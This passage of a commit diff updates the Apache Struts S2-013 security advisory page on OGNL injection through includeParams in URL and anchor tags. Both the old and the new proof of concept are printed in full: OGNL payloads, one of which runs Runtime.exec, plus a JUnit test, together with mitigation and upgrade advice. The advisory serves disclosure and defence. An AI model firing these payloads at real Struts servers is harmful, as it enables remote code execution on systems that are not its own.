main scope of that attribute is to understand whether includes http request parameter or not. </P> -<P>This time, there is no way to whitelist parameter value,<BR> ------------------------------------------ (to be continue)<BR> -Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.</P> +<P>The allowed values of includeParams are:</P> +<OL> + <LI><EM>none</EM> - include no parameters in the URL (default)</LI> + <LI><EM>get</EM> - include only GET parameters in the URL</LI> + <LI><EM>all</EM> - include both GET and POST parameters in the URL</LI> +</OL> -<H2><A name="S2-013-Proofofconcept"></A>Proof of concept</H2> -<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable Action</B></DIV><DIV class="codeContent panelContent"> -<PRE class="code-java"> -<SPAN class="code-keyword">public</SPAN> class FooAction { - <SPAN class="code-keyword">private</SPAN> <SPAN class="code-object">String</SPAN> foo; - <SPAN class="code-keyword">public</SPAN> <SPAN class="code-object">String</SPAN> execute() { - <SPAN class="code-keyword">return</SPAN> <SPAN class="code-quote">"success"</SPAN>; - } - <SPAN class="code-keyword">public</SPAN> <SPAN class="code-object">String</SPAN> getFoo() { - <SPAN class="code-keyword">return</SPAN> foo; - } - - <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN class="code-object">String</SPAN> foo) { - <SPAN class="code-keyword">this</SPAN>.foo = foo; - } -} +<P>A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an <EM>URL</EM> or <EM>A</EM> tag , which will cause a further evaluation. </P> -</PRE> -</DIV></DIV> +<P>The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.<BR> +This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</P> -<P>Here's an actual decoded example, which will create /tmp/PWNAGE directory:</P> +<H2><A name="S2-013-Proofofconcept"></A>Proof of concept</H2> -<DIV class="preformatted panel" style="border-width: 1px;"><DIV class="preformattedContent panelContent"> -<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true +<OL> + <LI>Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter: +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> +<PRE class="code-java"> + includeParams=<SPAN class="code-quote">"all"</SPAN> </PRE> </DIV></DIV> - -<P>encoded version:</P> -<DIV class="preformatted panel" style="border-width: 1px;"><DIV class="preformattedContent panelContent"> -<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%2...@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true +<P>Such that the line will be something look like this:</P> +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> +<PRE class="code-xml"> +<SPAN class="code-tag"><s:url id=<SPAN class="code-quote">"url"</SPAN> action=<SPAN class="code-quote">"HelloWorld"</SPAN> includeParams=<SPAN class="code-quote">"all"</SPAN>></SPAN> </PRE> </DIV></DIV> +<P>(it works also with <EM>includeParams="get"</EM>).</P></LI> + <LI>Run struts2-blank app</LI> + <LI>Open the url: <A href="http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23writer.println('hacked'),%23writer.close())%7D" class="external-link" rel="nofollow">http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D</A><BR> + (this is the shortened version <A href="http://goo.gl/lhlTl" class="external-link" rel="nofollow">http://goo.gl/lhlTl</A>)</LI> +</OL> -<P>And the JUnit version</P> -<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV class="codeContent panelContent"> -<PRE class="code-java"> -<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN class="code-keyword">extends</SPAN> org.apache.struts2.StrutsJUnit4TestCase<FooAction> { - @Test - <SPAN class="code-keyword">public</SPAN> void testExecute() <SPAN class="code-keyword">throws</SPAN> Exception { - request.setParameter(<SPAN class="code-quote">"foo"</SPAN>, <SPAN class="code-quote">"(#context[\"</SPAN>xwork.MethodAccessor.denyMethodExecution\<SPAN class="code-quote">"]= <SPAN class="code-keyword">new</SPAN> "</SPAN> + - <SPAN class="code-quote">"java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">false</SPAN>), #_memberAccess[\"</SPAN>allowStaticMethodAccess\<SPAN class="code-quote">"]= <SPAN class="code-keyword">new</SPAN> java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">true</SPAN>), "</SPAN> + - <SPAN class="code-quote">"@java.lang.<SPAN class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)"</SPAN>); - - request.setParameter(<SPAN class="code-quote">"top['foo'](0)"</SPAN>, <SPAN class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>); - - <SPAN class="code-object">String</SPAN> res = <SPAN class="code-keyword">this</SPAN>.executeAction(<SPAN class="code-quote">"/example/foo.action"</SPAN>); - FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction(); - - File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN class="code-quote">"/tmp/PWNAGE"</SPAN>); - Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The PWN folder has been created"</SPAN>, pwn.exists()); - } -} -</PRE> -</DIV></DIV> +<P>As you will notice, in this case, there is no way to escape/sanitize the fakeParam, since it's not an expected parameter. </P> <H2><A name="S2-013-Solution"></A>Solution</H2> -<P>The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names. <BR> -Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.</P> - - -<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is strongly recommended to upgrade to <A href="http://struts.apache.org/download.cgi#struts2312" class="external-link" rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork library.</B></TD></TR></TABLE></DIV> +<P>The OGNLUtil class was changed to deny eval expressions by default. </P> -<P>In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:</P> - -<H3><A name="S2-013-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters</H3> - -<P>The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:</P> +<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>Backward Compatibility</B><BR>In case you need to restore the old behavior, you need to define the following constant, inside your struts configuration (<B>use it at your own risk</B>). <DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> -<PRE class="code-java"> -<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>> - <param name=<SPAN class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param> -</interceptor-ref> +<PRE class="code-xml"> +<SPAN class="code-tag"><constant name=<SPAN class="code-quote">"struts.ognl.enableOGNLEvalExpression"</SPAN> value=<SPAN class="code-quote">"true"</SPAN> /></SPAN> </PRE> </DIV></DIV> -<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD>Beware that the above pattern breaks <A href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport" class="external-link" rel="nofollow">the type conversion support for collection and map</A> (those parameter names should be attached to acceptParamNames variable).<BR> -For this configuration to work correctly, it has to be applied to <B>any params interceptor ref in any stack an application is using</B>.<BR> -E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is <B>once for defaultStack and twice for paramsPrepareParamsStack</B></TD></TR></TABLE></DIV> +<P>Please, ensure that:</P> +<OL> + <LI>there are no <EM>includeParams</EM> with "all" or "get" value</LI> + <LI>every parameter which is declared inside the <EM>u</EM> or <EM>a</EM> tag come from a sanitized input.</LI> +</OL> +</TD></TR></TABLE></DIV> + +<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is strongly recommended to upgrade to <A href="http://struts.apache.org/download.cgi#struts23141" class="external-link" rel="nofollow">Struts 2.3.14.1</A>, which contains the corrected OGNL and XWork library.</B></TD></TR></TABLE></DIV> </DIV> Modified: websites/production/struts/content/development/2.x/docs/sample-announcements.html ============================================================================== --- websites/production/struts/content/development/2.x/docs/sample-announcements.html (original) +++ websites/production/struts/content/development/2.x/docs/sample-announcements.html Thu May 23 06:57:07 2013 @@ -125,11 +125,11 @@ under the License. <DIV class="wiki-content"> <H1><A name="Sampleannouncements-Content"></A>Content</H1> <STYLE type="text/css">/*<![CDATA[*/ -div.rbtoc1366360156069 {margin-left: 0px;padding: 0px;} -div.rbtoc1366360156069 ul {list-style: none;margin-left: 0px;} -div.rbtoc1366360156069 li {margin-left: 0px;padding-left: 0px;} +div.rbtoc1369291474878 {margin-left: 0px;padding: 0px;} +div.rbtoc1369291474878 ul {list-style: none;margin-left: 0px;} +div.rbtoc1369291474878 li {margin-left: 0px;padding-left: 0px;} -/*]]>*/</STYLE><DIV class="rbtoc1366360156069"> +/*]]>*/</STYLE><DIV class="rbtoc1369291474878"> <UL> <LI><SPAN class="TOCOutline">1</SPAN> <A href="#Sampleannouncements-Content">Content</A></LI> <UL> @@ -309,6 +309,9 @@ This is a "fast-track" release The website download link will include the mirroring timestamp parameter [1], which limits the selection of mirrors to those that have been refreshed since the indicated time and date. (After 24 hours, we *must* remove the timestamp parameter from the website link, to avoid unnecessary server load.) In the case of a fast-track release, the email announcement will not link directly to <download.cgi>, but to <downloads.html>, so that we can control use of the timestamp parameter. [1] <[http://apache.org/dev/mirrors.html#use|http://apache.org/dev/mirrors.html#use]> + +- The Apache Struts group. + </PRE> </DIV></DIV>